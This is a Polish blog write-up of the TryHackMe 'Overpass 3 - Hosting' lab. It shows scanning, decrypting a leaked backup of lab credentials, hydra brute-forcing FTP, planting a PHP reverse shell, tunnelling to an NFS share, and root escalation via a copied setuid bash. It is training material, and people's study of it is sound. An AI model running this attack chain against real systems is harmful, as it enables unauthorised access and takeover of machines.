Post

Overpass 3 - Hosting

Rozwiązanie pokoju Overpass 3 - Hosting z platformy tryhackme.com.

Podstawowe skanowanie:

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
└─$ nmap  10.10.201.73
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-18 09:15 EST
Nmap scan report for 10.10.201.73
Host is up (0.048s latency).
Not shown: 986 filtered tcp ports (no-response), 11 filtered tcp ports (host-unreach)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.57 seconds

gobuster scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ gobuster dir -u 10.10.201.73 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.201.73
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 218]
/.hta                 (Status: 403) [Size: 213]
/.htpasswd            (Status: 403) [Size: 218]
/backups              (Status: 301) [Size: 236] [--> http://10.10.201.73/backups/]
/cgi-bin/             (Status: 403) [Size: 217]
/index.html           (Status: 200) [Size: 1770]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Skan narzędziem NMAP wskazał działajace serwisy na serwerze - fpt, ssh i serwer http na którym postawiona jest statyczna strona. W jej kodzie źródłowym nie ma nic specjalnie interesującego, nie licząc tego komentarza: <!-- 0.99999% is 5 nines, right? -->, na tę chwilę nie wiem co on może znaczyć. Skan narzędziem gobuster wskazał dostępne katalogi, interesujący jest /backups, na tej stronie udostępnione jest archiwum backup.zip:

backups

Po pobraniu i rozpakowaniu tego archiwum widać, że w środku znajduje się klucz prywatny i zaszyfrowany dokument:

archive

Prawdopodobnie dokument został zaszyfrowany gpg, mamy klucz publiczny więc można go odszyfrować:

1
2
gpg --import priv.key
gpg --output customer.xlsx --decrypt CustomerDetails.xlsx.gpg

po odszyfrowaniu otworzyłem plik, jego zawartość:

1
2
3
4
5
| Customer Name   | Username       | Password          | Credit card number  | CVC |
| --------------- | -------------- | ----------------- | ------------------- | --- |
| Par. A. Doxx    | paradox        | ShibesAreGreat123 | 4111 1111 4555 1142 | 432 |
| 0day Montgomery | 0day           | OllieIsTheBestDog | 5555 3412 4444 1115 | 642 |
| Muir Land       | muirlandoracle | A11D0gsAreAw3s0me | 5103 2219 1119 9245 | 737 |

mamy więc listę użytkowników i ich haseł, warto spróbować czy któraś z kombinacji zadziała z ssh lub ftp, przygotowałem sobie listę użytkowników i haseł:

  • użytkownicy:
1
2
3
paradox
0day
muirlandoracle
  • hasła:
1
2
3
ShibesAreGreat123
OllieIsTheBestDog
A11D0gsAreAw3s0me

i stworzyłem odpowiednie pliki, następnie poleceniem:

1
hydra -L usernames -P pass ftp://10.10.195.39

sprawdziłem czy któraś para zadziała dla ftp:

hydra

okazało się, że tak. Dla ssh nie znaleziono nic. Po połączeniu się przez ftp nie znalazłem nic ciekawego:

ftp

jednak co warto zauważyć wcześniej pobierane dane były z folderu backup, więc z przeglądarki jest dostęp do tego folderu - co znaczy, że jeśli wrzucimy tam jakiś php reverse shell i ustawimy nc, wejdziemy na stronę to otrzymamy połączenie. I połączenie zostało nawiązane:

nc

po połączeniu zadbałem o jakiś użyteczny shell:

1
python -c "import pty;pty.spawn('/bin/bash')"

a następnie poszukałem flagi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bash-4.4$ find / 2>/dev/null | grep flag
find / 2>/dev/null | grep flag
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/sys/devices/pnp0/00:06/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/lo/flags
/sys/devices/vif-0/net/eth0/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/usr/bin/pflags
/usr/sbin/grub2-set-bootflag
/usr/share/man/man1/grub2-set-bootflag.1.gz
/usr/share/httpd/web.flag
bash-4.4$

flaga znajduje się w ostatnim pliku na liście. Zapoznając się z systemem zauważyłem możliwość stworzenia nowych kluczy ssh i zalogowanie się przez ssh - będzie przyjemniej pracować. Po połączeniu się przez ssh aby przyspieszyć pracę wykorzystałem LinEnum.sh. Analizując wyniki natknąłem się na: enum dzięki temu możliwe jest podmontowanie tego folderu na maszynie atakującej, należy tylko skorzystać z tunelowania przez ssh: ss nmap

1
ssh paradox@10.10.127.57 -i ssh_key -L 2049:localhost:2049

i w drugiej karcie:

1
sudo mount -t nfs localhost:/ remote

po zajrzeniu do podmontowanego zasobu można znaleźć flagę. Interesujący jest również folder .ssh, wewnątrz niego znalazłem klucze ssh, skopiowałem go i zalogowałem się do maszyny. Następnie szukałem dalej jakiegoś błędu, natknąłem się na tę stronę. Po wykonaniu tych kroków mogłem odczytać ostatnią flagę. Podczas tego wystąpił pewien problem - moja binarka nie zadziałała. Pomyślałem, że najłatwiej będzie użyć tej która znajduje się na atakowanej maszynie. Korzystając z połączenia ssh/ftp skopiowałem plik /bin/bash do folderu domowego, a następnie z drugiej karty jako użytkownik root ponownie skopiowałem ten plik do innej lokalizacji. Usunąłem oryginalny plik i do tej lokalizacji skopiowałem wcześniej skopiowany plik po czym nadałem mu odpowiednie uprawnienia. Dzięki temu na zdalnej maszynie osiągnąłem uprawnienia root.

This post is licensed under CC BY 4.0 by the author.